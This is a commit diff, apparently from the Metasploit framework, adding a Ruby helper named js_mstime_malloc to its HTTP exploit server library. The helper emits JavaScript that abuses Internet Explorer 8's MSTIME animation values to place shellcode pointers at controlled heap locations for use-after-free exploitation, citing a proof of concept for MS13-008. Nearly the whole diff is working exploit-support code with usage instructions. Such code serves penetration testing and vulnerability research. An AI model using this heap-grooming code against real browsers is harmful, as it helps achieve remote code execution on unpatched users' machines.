Adds function js_mstime_malloc

wchen-r7 · wchen-r7 · commit 9cc624456aa5 · 2013-04-30T16:40:10.000-05:00
This function takes advantage of MSTIME's CTIMEAnimationBase::put_values
function that's suitable for a no-spray technique (based on wtfuzz's
PoC for MS13-008)
diff --git a/lib/msf/core/exploit/http/server.rb b/lib/msf/core/exploit/http/server.rb
@@ -842,6 +842,71 @@ def js_ajax_download
 		|
 	end
 
+
+	#
+	# This function takes advantage of MSTIME's CTIMEAnimationBase::put_values function that's
+	# suitable for a no-spray technique.  There should be an allocation that contains an array of
+	# pointers to strings that we control, and each string should reside in its own buffer.
+	# Please note newer IEs (such as IE9), no longer support SMIL, therefore this only works on
+	# Internet Explorer 8 or prior.  Note that "mstime_malloc" also requires a rather specific
+	# writing style, so make sure you have the following before using:
+	#   * You must have the following at the beginning of your HTML file:
+	#     	<!doctype html>
+	#       <HTML XMLNS:t ="urn:schemas-microsoft-com:time">
+	#   * You must have the following in <meta>:
+	#     	<meta>
+	#           <?IMPORT namespace="t" implementation="#default#time2">
+	#       </meta>
+	#
+	# The "mstime_malloc" JavaScript function supports the following arguments:
+	#   shellcode     => The shellcode to place.
+	#   offset        => Optional. The pointer index that points to the shellcode.
+	#   heapBlockSize => Object size.
+	#   objId         => The ID to your ANIMATECOLOR element.
+	#
+	# Example of using "js_mstime_malloc":
+	#     <script>
+	#     #{js_mstime_malloc}
+	#
+	#     shellcode = "\u4141\u4141\u4141\u4141";
+	#     offset    = 3;
+	#     s         = 0x58;
+	#     mstime_malloc({shellcode:shellcode,offset:offset,heapBlockSize:s,objId:oId});
+	#     </script>
+	#
+	def js_mstime_malloc
+		%Q|
+		function mstime_malloc(oArg) {
+			shellcode     = oArg.shellcode;
+			offset        = oArg.offset;
+			heapBlockSize = oArg.heapBlockSize;
+			objId         = oArg.objId;
+
+			if (shellcode     == undefined) { throw "Missing argument: shellcode"; }
+			if (offset        == undefined) { offset = 0; }
+			if (heapBlockSize == undefined) { throw "Size must be defined"; }
+			if (objId         == undefined) { throw "ANIMATECOLOR element must be defined"; }
+
+			buf = "";
+			for (i=0; i < heapBlockSize/4; i++) {
+				if (i == offset) {
+					if (i == 0) { buf += shellcode;       }
+					else        { buf += ";" + shellcode; }
+				}
+				else {
+					buf += ";cyan";
+				}
+			}
+
+			try {
+				e = document.getElementById(objId);
+				if (e == null) { throw "Invalid ANIMATECOLOR element"; }
+				e.values = buf;
+			} catch (e) {}
+		}
+		|
+	end
+
 	#
 	# This heap spray technique takes advantage of MSHTML's SetStringProperty (or SetProperty)
 	# function to trigger allocations by ntdll!RtlAllocateHeap.  It is based on Corelan's
